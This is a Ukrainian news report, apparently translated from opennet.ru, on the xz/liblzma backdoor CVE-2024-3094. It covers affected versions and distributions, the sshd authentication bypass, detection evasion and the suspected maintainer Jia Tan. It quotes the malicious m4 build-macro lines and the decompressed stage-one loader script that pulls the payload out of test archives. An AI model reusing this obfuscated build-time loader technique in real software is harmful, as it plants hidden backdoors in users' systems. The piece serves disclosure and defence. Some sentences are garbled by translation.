У бібліотеці xz/liblzma виявлено бекдор, який організує вхід через sshd

У пакеті XZ Utils, що включає бібліотеку liblzma та утиліти для роботи зі стислими даними у форматі ".xz", виявлено бекдор (CVE-2024-3094), що дозволяє перехоплювати та модифікувати дані, що обробляються додатками, пов'язаними з бібліотекою liblzma. Основною метою бекдору є сервер OpenSSH, у деяких дистрибутивах пов'язаний з бібліотекою libsystemd, яка, у свою чергу, використовує liblzma. Зв'язування sshd з вразливою бібліотекою дозволяє зловмисникам отримати доступ до SSH-сервера без автентифікації.

Бекдор був присутній в офіційних випусках 5.6.0 та 5.6.1, опублікованих 24 лютого та 9 березня, які встигли потрапити до складу деяких дистрибутивів та репозиторіїв, наприклад, Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide та 40-beta, openSUSE factory і tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing. Всім користувачам випусків xz 5.6.0 та 5.6.1 рекомендується терміново відкотитися на версію 5.4.6.

З факторів, що згладжують проблему, можна відзначити те, що версія liblzma c бекдором не встигла увійти до складу стабільних випусків великих дистрибутивів, але торкнулася openSUSE Tumbleweed і Fedora 40-beta. Arch Linux і Gentoo використовували вразливу версію zx, але не схильні до атаки, тому що не застосовують до openssh патч для підтримки systemd-notify, що призводить до зв'язування sshd до liblzma. Бекдор зачіпає лише системи x86_64 на базі ядра Linux та Сі-бібліотеки Glibc.

Код активації бекдора був захований в m4-макроса з файлу build-to-host.m4, використовуваного інструментарієм automake при складанні. При збиранні в ході виконання заплутаних обфусцованих операцій на основі архівів (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), що застосовуються для тестування коректності роботи, формувався об'єктний файл із шкідливим кодом, який включався до складу бібліотеки liblzma та змінював логіку роботи деяких її функцій. Активуючі бекдор m4-макроси входили до складу tar-архівів релізів, але були відсутні в Git-репозиторії. У цьому шкідливі тестові архіви були у репозиторії, тобто. впровадив бекдор мав доступ як до репозиторію, і до процесів формування релізів.

При використанні liblzma в додатках шкідливі зміни могли використовуватися для перехоплення або модифікації даних, а також впливу на роботу sshd. Зокрема, шкідливий код підміняв функцію RSA_public_decrypt для обходу процесу аутентифікації в sshd. Бекдор включав захист від виявлення і не проявляв себе при виставлених змінних оточення LANG і TERM (тобто при запуску процесу в терміналі) і не виставлених змінних оточення LD_DEBUG і LD_PROFILE, а також активувався тільки при виконанні файлу /usr/sbin/sshd . У бекдорі також були засоби виявлення запуску у отладочних оточеннях.

Зокрема, у файлі m4/build-to-host.m4 використовувалися конструкції gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev /null` … gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

У першій конструкції операція grep знаходила файл tests/files/bad-3-corrupt_lzma2.xz, при розпаковуванні якого формувався сценарій: ####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 eval `grep ^srcdir= config.status` if test -f ../../config.status;then eval `grep ^srcdir= ../../config .status` srcdir=»../../$srcdir» fi export i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head - c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head - c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/ dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)»;(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr \114-\321" "\322-\377")|xz -F raw

Яким чином зловмисникам вдалося отримати доступ до інфраструктури проекту xz поки що до кінця не з'ясовано. Також поки не зрозуміло як багато користувачів і проектів були скомпрометовані в результаті дії бекдора. Передбачуваний автор бекдора (JiaT75 - Jia Tan), що розмістив у репозиторії архіви зі шкідливим кодом, листувався з розробниками Fedora і відправляв pull-запити в Debian, пов'язані з переходом дистрибутивів на гілку xz 5.6.0, і не викликав підозр. розробці xz протягом останніх двох років і є другим розробником за кількістю внесених змін. Крім проекту xz, гаданий автор бекдору також брав участь у розробці пакетів xz-java і xz-embedded. Більш того, Jia Tan кілька днів тому був включений до мейнтейнерів проекту XZ Embedded, що використовується в ядрі Linux.

Шкідливу зміну було виявлено після аналізу зайвого споживання CPU та помилок, що видаються valgrind, при підключенні через ssh до систем на базі Debian sid. Примітно, що до релізу xz 5.6.1 були включені зміни, підготовлені передбачуваним автором бекдору у відповідь на скарги про уповільнення роботи та збої sshd, що виникли після оновлення до версії zx 5.6.0 з бекдором. Крім того, минулого року Jia Tan вніс зміни, несумісні з режимом перевірки "-fsanitize=address", що призвело до його відключення при fuzzing-тестуванні.

Джерело: opennet.ru

Додати коментар або відгук